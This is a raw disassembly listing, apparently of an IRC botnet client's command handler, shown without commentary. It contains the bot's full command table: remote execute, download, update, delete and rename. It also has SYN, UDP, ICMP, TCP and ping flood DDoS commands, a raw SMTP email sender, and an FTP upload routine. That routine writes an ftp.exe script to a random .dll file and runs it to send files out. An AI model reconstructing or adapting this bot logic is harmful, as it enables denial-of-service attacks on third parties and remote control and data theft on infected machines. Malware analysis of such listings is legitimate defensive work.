		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D454
		push	[ebp+Dest]	; Str2
		push	offset aKp	; "kp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D454
		push	[ebp+Dest]	; Str2
		push	offset aKill	; "kill"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D3F9
		push	[ebp+Dest]	; Str2
		push	offset aKi	; "ki"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D3F9
		push	[ebp+Dest]	; Str2
		push	offset aDelete	; "delete"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D3C2
		push	[ebp+Dest]	; Str2
		push	offset aDel	; "del"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D3C2
		push	[ebp+Dest]	; Str2
		push	offset aList_0	; "list"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D3A7
		push	[ebp+Dest]	; Str2
		push	offset aLi	; "li"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D3A7
		push	[ebp+Dest]	; Str2
		push	offset aMirccmd	; "mirccmd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D36C
		push	[ebp+Dest]	; Str2
		push	offset aMirc	; "mirc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D36C
		push	[ebp+Dest]	; Str2
		push	offset aCmd_0	; "cmd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D321
		push	[ebp+Dest]	; Str2
		push	offset aCm	; "cm"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D321
		push	[ebp+Dest]	; Str2
		push	offset aReadfile ; "readfile"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D29C
		push	[ebp+Dest]	; Str2
		push	offset aRf	; "rf"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D29C
		push	[ebp+Dest]	; Str2
		push	offset aIdent	; "ident"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ADD6
		push	edi		; Str2
		push	offset aOn	; "on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AD90
		push	2
		call	sub_411E82
		test	eax, eax
		pop	ecx
		jle	short loc_40AD33
		push	offset aIdentAlreadyRu ; "[IDENT]: Already running."
		jmp	loc_40ADC3
; ---------------------------------------------------------------------------


loc_40AD33:				; CODE XREF: sub_409557+17D0j
		lea	eax, [ebp+Dst]
		push	offset aIdentdServerRu ; "[IDENTD]: Server running on Port: 113."
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	2		; int
		push	eax		; Source
		call	sub_411C3A
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset sub_405C73
		push	ebx
		push	ebx
		call	ds:dword_41B064	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_430554[esi], eax
		jnz	loc_40CA4B
		call	ds:dword_41B060	; RtlGetLastWin32Error
		push	eax
		push	offset aIdentdFailedTo ; "[IDENTD]: Failed to start server, error"...
		jmp	loc_40E756
; ---------------------------------------------------------------------------


loc_40AD90:				; CODE XREF: sub_409557+17C4j
		push	edi		; Str2
		push	offset aOff	; "off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40CA4B
		push	ebx
		push	2
		call	sub_411E35
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40ADBE
		push	eax
		push	offset aIdentServerSto ; "[IDENT]: Server stopped. (%d thread(s) "...
		jmp	loc_40E756
; ---------------------------------------------------------------------------


loc_40ADBE:				; CODE XREF: sub_409557+185Aj
		push	offset aIdentNoThreadF ; "[IDENT]: No thread found."


loc_40ADC3:				; CODE XREF: sub_409557+17D7j
					; sub_409557+4549j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_40CA4B
; ---------------------------------------------------------------------------


loc_40ADD6:				; CODE XREF: sub_409557+17AFj
		push	[ebp+Dest]	; Str2
		push	offset aNet	; "net"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40B072
		cmp	dword_42EC80, ebx
		jz	short loc_40AE07
		cmp	dword_42ECA8, ebx
		jz	short loc_40AE07
		push	offset aNetFailedToLoa ; "[NET]: Failed	to load	advapi32.dll or	n"...
		jmp	loc_40CC97
; ---------------------------------------------------------------------------


loc_40AE07:				; CODE XREF: sub_409557+189Cj
					; sub_409557+18A4j
		cmp	[ebp+var_C], ebx
		jz	loc_40CCA5
		mov	eax, [ebp+esi+var_8C]
		mov	[ebp+Src], ebx
		cmp	eax, ebx
		mov	[ebp+Str1], eax
		jz	short loc_40AE2F
		push	eax		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		mov	[ebp+Src], eax
		pop	ecx


loc_40AE2F:				; CODE XREF: sub_409557+18C8j
		push	edi		; Str2
		push	offset aStart	; "start"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AE95
		cmp	[ebp+Str1], ebx
		jz	short loc_40AE69
		push	[ebp+Src]
		push	3


loc_40AE4A:				; CODE XREF: sub_409557+1954j
					; sub_409557+196Cj ...
		call	sub_4073D2
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aS_2	; "%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	loc_40CCA5
; ---------------------------------------------------------------------------


loc_40AE69:				; CODE XREF: sub_409557+18ECj
		push	[ebp+var_4]	; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_407679
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40AE8B
		push	offset aNetServiceList ; "[NET]: Service list completed."
		jmp	loc_40CC97
; ---------------------------------------------------------------------------


loc_40AE8B:				; CODE XREF: sub_409557+1928j
		push	offset aNetServiceLi_0 ; "[NET]: Service list failed."
		jmp	loc_40CC97
; ---------------------------------------------------------------------------


loc_40AE95:				; CODE XREF: sub_409557+18E7j
		push	edi		; Str2
		push	offset aStop	; "stop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AEAD
		push	[ebp+Src]
		push	4
		jmp	short loc_40AE4A
; ---------------------------------------------------------------------------


loc_40AEAD:				; CODE XREF: sub_409557+194Dj
		push	edi		; Str2
		push	offset aPause	; "pause"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AEC5
		push	[ebp+Src]
		push	5
		jmp	short loc_40AE4A
; ---------------------------------------------------------------------------


loc_40AEC5:				; CODE XREF: sub_409557+1965j
		push	edi		; Str2
		push	offset aContinue ; "continue"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AEE0
		push	[ebp+Src]
		push	6
		jmp	loc_40AE4A
; ---------------------------------------------------------------------------


loc_40AEE0:				; CODE XREF: sub_409557+197Dj
		push	edi		; Str2
		push	offset aDelete	; "delete"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AEFB
		push	[ebp+Src]
		push	1
		jmp	loc_40AE4A
; ---------------------------------------------------------------------------


loc_40AEFB:				; CODE XREF: sub_409557+1998j
		push	edi		; Str2
		push	offset aShare	; "share"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AF78
		cmp	[ebp+Str1], ebx
		jz	short loc_40AF4B
		cmp	[ebp+var_9B0], bl
		jz	short loc_40AF21
		push	ebx
		push	[ebp+Str1]
		push	1
		jmp	short loc_40AF2C
; ---------------------------------------------------------------------------


loc_40AF21:				; CODE XREF: sub_409557+19C0j
		push	[ebp+esi+var_88] ; int
		push	[ebp+Str1]	; Str
		push	ebx		; int


loc_40AF2C:				; CODE XREF: sub_409557+19C8j
		call	sub_4077B6
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aS_2	; "%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h
		jmp	loc_40CCA5
; ---------------------------------------------------------------------------


loc_40AF4B:				; CODE XREF: sub_409557+19B8j
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_407944
		add	esp, 10h
		test	eax, eax
		jz	short loc_40AF6E
		push	offset aNetShareListCo ; "[NET]: Share list completed."
		jmp	loc_40CC97
; ---------------------------------------------------------------------------


loc_40AF6E:				; CODE XREF: sub_409557+1A0Bj
		push	offset aNetShareListFa ; "[NET]: Share list failed."
		jmp	loc_40CC97
; ---------------------------------------------------------------------------


loc_40AF78:				; CODE XREF: sub_409557+19B3j
		push	edi		; Str2
		push	offset aUser_2	; "user"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40B01A
		mov	eax, [ebp+Str1]
		cmp	eax, ebx
		jz	short loc_40AFED
		cmp	[ebp+var_9B0], bl
		jz	short loc_40AFAE
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_40AFCE
; ---------------------------------------------------------------------------


loc_40AFAE:				; CODE XREF: sub_409557+1A43j
		push	[ebp+var_4]	; int
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		jz	short loc_40AFCA
		push	esi
		push	eax
		push	ebx
		jmp	short loc_40AFCE
; ---------------------------------------------------------------------------


loc_40AFCA:				; CODE XREF: sub_409557+1A6Cj
		push	ebx		; int
		push	eax		; int
		push	2		; int


loc_40AFCE:				; CODE XREF: sub_409557+1A55j
					; sub_409557+1A71j
		call	sub_407A65
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aS_2	; "%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 24h
		jmp	loc_40CCA5
; ---------------------------------------------------------------------------


loc_40AFED:				; CODE XREF: sub_409557+1A3Bj
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_407F79
		add	esp, 10h
		test	eax, eax
		jz	short loc_40B010
		push	offset aNetUserListCom ; "[NET]: User list completed."
		jmp	loc_40CC97
; ---------------------------------------------------------------------------


loc_40B010:				; CODE XREF: sub_409557+1AADj
		push	offset aNetUserListFai ; "[NET]: User list failed."
		jmp	loc_40CC97
; ---------------------------------------------------------------------------


loc_40B01A:				; CODE XREF: sub_409557+1A30j
		push	edi		; Str2
		push	offset aSend	; "send"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B068
		cmp	[ebp+Str1], ebx
		jz	short loc_40B05E
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+Src]	; Source
		call	sub_40822D
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aS_2	; "%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		jmp	loc_40CCA5
; ---------------------------------------------------------------------------


loc_40B05E:				; CODE XREF: sub_409557+1AD7j
		push	offset aNetNoMessageSp ; "[NET]: No message specified."
		jmp	loc_40CC97
; ---------------------------------------------------------------------------


loc_40B068:				; CODE XREF: sub_409557+1AD2j
		push	offset aNetCommandUnkn ; "[NET]: Command unknown."
		jmp	loc_40CC97
; ---------------------------------------------------------------------------


loc_40B072:				; CODE XREF: sub_409557+1890j
		push	[ebp+Dest]	; Str2
		push	offset aGethost	; "gethost"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D1B8
		push	[ebp+Dest]	; Str2
		push	offset aGh	; "gh"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D1B8
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+Str1], eax
		jz	loc_4099D2
		push	[ebp+Dest]	; Str2
		push	offset aAddalias ; "addalias"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D179
		push	[ebp+Dest]	; Str2
		push	offset aAa	; "aa"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D179
		push	[ebp+Dest]	; Str2
		push	offset aPrivmsg_0 ; "privmsg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D126
		push	[ebp+Dest]	; Str2
		push	offset aPm_0	; "pm"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D126
		push	[ebp+Dest]	; Str2
		push	offset aAction	; "action"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D0B8
		push	[ebp+Dest]	; Str2
		push	offset aA_1	; "a"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D0B8
		push	[ebp+Dest]	; Str2
		push	offset aCycle	; "cycle"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D055
		push	[ebp+Dest]	; Str2
		push	offset aCy	; "cy"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D055
		push	[ebp+Dest]	; Str2
		push	offset aMode	; "mode"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D016
		push	[ebp+Dest]	; Str2
		push	offset aM_0	; "m"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D016
		push	[ebp+Dest]	; Str2
		push	offset aC_raw	; "c_raw"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CFAB
		push	[ebp+Dest]	; Str2
		push	offset aC_r	; "c_r"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CFAB
		push	[ebp+Dest]	; Str2
		push	offset aC_mode	; "c_mode"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CF29
		push	[ebp+Dest]	; Str2
		push	offset aC_m	; "c_m"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CF29
		push	[ebp+Dest]	; Str2
		push	offset aC_nick	; "c_nick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CEB8
		push	[ebp+Dest]	; Str2
		push	offset aC_n	; "c_n"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CEB8
		push	[ebp+Dest]	; Str2
		push	offset aC_join	; "c_join"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CE92
		push	[ebp+Dest]	; Str2
		push	offset aC_j	; "c_j"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CE92
		push	[ebp+Dest]	; Str2
		push	offset aC_part	; "c_part"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CE2F
		push	[ebp+Dest]	; Str2
		push	offset aC_p	; "c_p"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CE2F
		push	[ebp+Dest]	; Str2
		push	offset aRepeat	; "repeat"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CD69
		push	[ebp+Dest]	; Str2
		push	offset aRp	; "rp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CD69
		push	[ebp+Dest]	; Str2
		push	offset aDelay	; "delay"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CCCE
		push	[ebp+Dest]	; Str2
		push	offset aDe	; "de"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CCCE
		push	[ebp+Dest]	; Str2
		push	offset aFalehupd ; "falehupd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CB16
		push	[ebp+Dest]	; Str2
		push	offset aUfalehupdp ; "ufalehupdp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CB16
		push	[ebp+Dest]	; Str2
		push	offset aExecute	; "execute"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CA83
		push	[ebp+Dest]	; Str2
		push	offset aE	; "e"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40CA83
		push	[ebp+Dest]	; Str2
		push	offset aRename	; "rename"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C9FF
		push	[ebp+Dest]	; Str2
		push	offset aMv	; "mv"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C9FF
		push	[ebp+Dest]	; Str2
		push	offset aIcmpflood ; "icmpflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C904
		push	[ebp+Dest]	; Str2
		push	offset aIcmp	; "icmp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C904
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+Src], eax
		jz	loc_4099D2
		push	[ebp+Dest]	; Str2
		push	offset aClone_0	; "clone"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C819
		push	[ebp+Dest]	; Str2
		push	offset aC	; "c"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C819
		push	[ebp+Dest]	; Str2
		push	offset Str2	; "ddos.syn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C714
		push	[ebp+Dest]	; Str2
		push	offset aDdos_ack ; "ddos.ack"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C714
		push	[ebp+Dest]	; Str2
		push	offset aDdos_random ; "ddos.random"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C714
		push	[ebp+Dest]	; Str2
		push	offset aSynflood ; "synflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C616
		push	[ebp+Dest]	; Str2
		push	offset aSyn_0	; "syn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C616
		push	[ebp+Dest]	; Str2
		push	offset aFalehdownl ; "falehdownl"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C4D8
		push	[ebp+Dest]	; Str2
		push	offset aFalehdownl2 ; "falehdownl2"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C4D8
		push	[ebp+Dest]	; Str2
		push	offset aRedirect_0 ; "redirect"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C3DE
		push	[ebp+Dest]	; Str2
		push	offset aRd	; "rd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C3DE
		push	[ebp+Dest]	; Str2
		push	offset aScan_1	; "scan"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C2EB
		push	[ebp+Dest]	; Str2
		push	offset aSc	; "sc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C2EB
		push	[ebp+Dest]	; Str2
		push	offset aC_privmsg ; "c_privmsg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C216
		push	[ebp+Dest]	; Str2
		push	offset aC_pm	; "c_pm"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C216
		push	[ebp+Dest]	; Str2
		push	offset aC_action ; "c_action"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C101
		push	[ebp+Dest]	; Str2
		push	offset aC_a	; "c_a"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40C101
		mov	eax, [ebp+esi+Str]
		cmp	eax, ebx
		mov	[ebp+arg_8], eax
		jz	loc_4099D2
		push	[ebp+Dest]	; Str2
		push	offset aFofofo	; "fofofo"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BDA8
		push	[ebp+Dest]	; Str2
		push	offset aF0f0f0	; "f0f0f0"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BDA8
		push	[ebp+Dest]	; Str2
		push	offset aUdpflood ; "udpflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BC88
		push	[ebp+Dest]	; Str2
		push	offset aUdp	; "udp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BC88
		push	[ebp+Dest]	; Str2
		push	offset aU	; "u"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BC88
		push	[ebp+Dest]	; Str2
		push	offset aPingflood ; "pingflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BB55
		push	[ebp+Dest]	; Str2
		push	offset aPing_1	; "ping"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BB55
		push	[ebp+Dest]	; Str2
		push	offset aP	; "p"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40BB55
		push	[ebp+Dest]	; Str2
		push	offset aTcpflood ; "tcpflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B9C2
		push	[ebp+Dest]	; Str2
		push	offset aTcp	; "tcp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B9C2
		push	[ebp+Dest]	; Str2
		push	offset aEmail	; "email"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40B7C3
		lea	eax, [ebp+var_3E4]
		push	edi		; Source
		push	eax		; Dest
		call	_strcpy
		push	[ebp+Str1]	; Str
		call	_atoi
		push	[ebp+Src]	; Source
		mov	[ebp+Str1], eax
		lea	eax, [ebp+var_D9C]
		push	eax		; Dest
		call	_strcpy
		push	[ebp+arg_8]	; Source
		lea	eax, [ebp+var_B94]
		push	eax		; Dest
		call	_strcpy
		push	offset Delim	; " "
		push	offset a_	; "_"
		push	[ebp+esi+Format] ; Src
		call	sub_406DDF
		push	eax		; Source
		lea	eax, [ebp+var_548]
		push	eax		; Dest
		call	_strcpy
		add	esp, 30h
		lea	eax, [ebp+var_6F4]
		push	eax
		push	101h
		call	dword_42EB38	; WSAStartup
		lea	eax, [ebp+var_3E4]
		push	eax
		call	dword_42EC34	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_42EC30	; socket
		push	[ebp+Str1]
		mov	esi, eax
		mov	[ebp+var_2D8], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+Drive], eax
		call	dword_42EBB4	; htons
		mov	[ebp+var_2D6], ax
		lea	eax, [ebp+var_548]
		push	eax
		lea	eax, [ebp+var_D9C]
		push	eax
		lea	eax, [ebp+var_548]
		push	eax
		lea	eax, [ebp+var_B94]
		push	eax
		lea	eax, [ebp+var_D9C]
		push	eax
		lea	eax, [ebp+var_159C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		lea	eax, [ebp+var_2D8]
		push	10h
		push	eax
		push	esi
		call	dword_42EB60	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_C98]
		push	edi
		push	eax
		push	esi
		call	dword_42EBCC	; recv
		lea	eax, [ebp+var_C98]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_159C]
		push	eax
		push	esi
		call	dword_42EC00	; send
		push	ebx
		lea	eax, [ebp+var_C98]
		push	edi
		push	eax
		push	esi
		call	dword_42EBCC	; recv
		push	esi
		call	dword_42EC48	; closesocket
		call	dword_42EB20	; WSACleanup
		lea	eax, [ebp+var_B94]
		push	eax
		push	offset aEmailMessageSe ; "[EMAIL]: Message sent	to %s."


loc_40B78A:				; CODE XREF: sub_409557+33A8j
					; sub_409557+35BAj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40B799:				; CODE XREF: sub_409557+338Cj
					; sub_409557+356Cj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40E43D
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		add	esp, 14h
		jmp	loc_40E43D
; ---------------------------------------------------------------------------


loc_40B7C3:				; CODE XREF: sub_409557+20DDj
		push	[ebp+Dest]	; Str2
		push	offset aHttpcon	; "httpcon"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B994
		push	[ebp+Dest]	; Str2
		push	offset aHcon	; "hcon"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B994
		mov	esi, [ebp+esi+Format]
		cmp	esi, ebx
		jz	loc_4099D2
		push	[ebp+Dest]	; Str2
		push	offset aUpload	; "upload"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40E7D9
		push	4
		push	esi
		call	sub_403A2F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B869
		push	esi
		push	offset aFtpFileNotFoun ; "[FTP]: File not found: %s."


loc_40B828:				; CODE XREF: sub_409557+25EFj
					; sub_409557+2BA5j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40B837:				; CODE XREF: sub_409557+25D3j
					; sub_409557+2B89j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_40B858
		push	ebx		; int
		push	[ebp+var_4]	; int


loc_40B840:				; CODE XREF: sub_409557+31B8j
		lea	eax, [ebp+Dst]
		push	eax		; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int


loc_40B850:				; CODE XREF: sub_409557+4943j
		call	sub_405E64
		add	esp, 14h


loc_40B858:				; CODE XREF: sub_409557+22E3j
					; sub_409557+2722j ...
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_402D63
		jmp	loc_40E966
; ---------------------------------------------------------------------------


loc_40B869:				; CODE XREF: sub_409557+22C9j
		call	ds:dword_41B078	; GetTickCount
		push	eax
		call	sub_41274C
		pop	ecx
		call	_rand
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	_rand
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_C9C]
		push	edx
		push	eax
		lea	eax, [ebp+Filename]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Filename]
		push	offset aAb	; "ab"
		push	eax		; Filename
		call	_fopen
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+File], eax
		jz	loc_4099D2
		push	esi
		push	[ebp+arg_8]
		push	[ebp+Src]
		push	[ebp+Str1]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax		; File
		call	_fprintf
		push	[ebp+File]	; File
		call	_fclose
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+var_3E4]
		push	offset aSS_4	; "-s:%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 2Ch
		lea	eax, [ebp+var_3E4]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_42EB34
		test	eax, eax
		push	edi
		push	esi		; Format
		jz	short loc_40B933
		push	offset aFtpUploadingFi ; "[FTP]: Uploading file: %s to:	%s"
		jmp	short loc_40B938
; ---------------------------------------------------------------------------


loc_40B933:				; CODE XREF: sub_409557+23D3j
		push	offset aFtpUploading_0 ; "[FTP]: Uploading file: %s to:	%s failed"...


loc_40B938:				; CODE XREF: sub_409557+23DAj
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40B961
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+var_8C]	; Str
		push	[ebp+arg_4]	; int
		call	sub_405E64
		add	esp, 14h


loc_40B961:				; CODE XREF: sub_409557+23ECj
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_402D63


loc_40B96D:				; CODE XREF: sub_409557+243Bj
		lea	eax, [ebp+Filename]
		push	4
		push	eax
		call	sub_403A2F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_4099D2
		lea	eax, [ebp+Filename]
		push	eax
		call	sub_413BB6
		jmp	short loc_40B96D
; ---------------------------------------------------------------------------


loc_40B994:				; CODE XREF: sub_409557+227Dj
					; sub_409557+2294j
		push	[ebp+esi+Format]
		push	[ebp+arg_8]
		push	[ebp+Src]
		push	[ebp+Str1]	; Str
		call	_atoi
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
